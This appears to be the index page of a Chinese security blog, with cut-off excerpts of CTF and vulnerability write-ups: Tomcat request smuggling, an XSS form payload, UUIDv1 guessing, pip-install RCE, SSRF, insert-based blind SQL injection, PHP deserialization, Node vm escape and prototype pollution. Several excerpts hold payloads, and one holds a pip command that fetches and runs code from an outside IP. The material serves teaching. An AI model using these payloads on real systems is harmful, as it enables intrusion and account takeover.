Tomcat请求走私漏洞分析
[toc]
CVE-2022-42252 Apache Tomcat - Request Smuggling漏洞描述Apache Tomcat 是一个 Java Web 应用程序服务器。
在 tomcat 中,如果设置 rejectIllegalHeader 为 false(不是默认值)用来忽略无效的 HTTP 头或者在反向代理配置 Tomcat,那么 Tomcat 不会拒绝包含无效内容长度 HTTP 头的请求,攻击者可能利用此漏洞造成请求走私。
123Description:If Tomcat was configured to ignore invalid HTTP headers via settingrejectIllegalHeader to false (the default for 8.5.x only), Tomcat did not reject a request containing an invalid Content-Length header making a request smuggling attack possible if Tomcat was ...
SameSiteConfusion(每周一题)
直接xss
123456document.body.innerHTML='<form action="http://192.168.145.1:3000/change_pass" method="POST"><input name="pass" value="22"/><input id=changePass type="submit" value="Submit request" /></form><img src=x onerror=window.changePass.click()>'document.body.innerHTML='<form action="http://192.168.145.1:3000/change_pass" method="POST"><input name="{p ...
SecureBank(每周一题)
题目是一个简单的转账系统,只有两个路由,一个是转账,一个是确认转账,在转账后会用uuid生成一个单号,以这个单号为参数就可以确认这笔转账
vulnerability漏洞发生在确认转账的地方,如果我们能得知转账的uuid就可以确认任意的转账,而本题所用的guid为v1
A GUID v1 consists of:
The current time
当前日期和时间,UUID的第一个部分与时间有关,如果你在生成一个UUID之后,过几秒又生成一个UUID,则第一个部分不同,其余相同。
Node ID
Based on system’s MAC address 全局唯一的IEEE机器识别号,如果有网卡,从网卡MAC地址获得,没有网卡以其他方式获得。
Clock sequence
Remains constant during uptime 时钟序列
在同一个服务中,guid只有第一部分(当前时间)会变化,我们只要得到了模糊的时间,就可以通过爆破来得到其他的订单的guid
exploit我们可以连续发起两笔转账,一笔是自己转账给受害者,另一笔是由受害者转账给自己,我们可以 ...
利用pip install进行RCE
pip是python的包管理系统,类似于npm, apt, homebrew等,当使用pip install安装需要的软件包时,会下载服务器上的项目文件并执行setup.py
比如执行以下命令会直接弹出计算器
1pip3 install http://39.107.138.71/calc.png
正常的图片中隐藏了一个压缩包,而这个压缩包就是python包项目文件,其中的setup在执行就会执行任意命令
ByteCTF 2021 复现
Proxy代理服务器为apache 2.4.48,且开启了mod_proxy来进行反向代理,存在ssrf漏洞,可以用ssrf访问一下internal容器
配置文件中,disablereuse=On,不会让代理复用
Python requests库2.25.1及以下版本在处理302跳转时会带着proxy验证头
解码可以拿到代理用户名密码
A-ginx
insert语句的sql注入
Really Easy SQL提示钓鱼网站,猜测为insert注入,后端语句构造应该类似如下
1insert into user values('$username','$password');
可以时间盲注
1insert into user values('1','1'),(if(2>1,benchmark(2000000,md5(1)),2),'2');
过滤了空格,substr,sleep,写个exp
12345678910111213141516171819202122232425262728293031323334353637383940414243444546import requestsimport timeurl = 'http://a2ebcc4b-dd75-421d-be99-9bbd79fea09f.node4.buuoj.cn:81/'def test(): payload = f"ascii(mid(databas ...
PharPOP复现
[toc]
源码复现一道php反序列化题目,题目给出源码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081<?phphighlight_file(__FILE__);function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); }}clas ...
PHP反序列化总结
转自 Y4tacker’s Blog
[toc]
PHP反序列化这一篇就够了简介序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
在网上找到一个比较形象的例子
比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
php 将数据序列化和反序列化会用到两个函数
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
常见的序列化格式了解即可
二进制格式
字节数组
json字符串
xml字符串
案例引入简单的例子(以数组为例子)
12345<?php$user=array('xiao', ...
NodeJS 沙箱逃逸分析
[toc]
沙箱逃逸的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。
VM 沙箱逃逸简介node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。vm 模块可在 V8 虚拟机上下文中编译和运行代码。 注意的是:vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。
官方文档原话:
一个常见的用例是在不同的 V8 上下文中运行代码。 这意味着被调用的代码与调用的代码具有不同的全局对象。
可以通过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引起的对全局变量的任何更改都将会反映在上下文对象中。
我们来看一个例子
12345678910111213const vm = require('vm');const x = 1;const context = { x: 2 };vm.createContext(context); // 创建上下文隔离化对象。const co ...
Nodejs原型链污染总结
[toc]
prototype (原型)
在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。
例子:
1object.prototype.name=value
在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
123objectname["__proto__"]objectname.__proto__objectname.constructor.prototype
不同对象所生成的原型链如下(部分):
12345678910111213141516var o = {a: 1};// o对象直接继承了Object.prototype// 原型链:// o ---> Object.prototype ---> nullvar a = ["yo", "whadup", "?"];// 数组 ...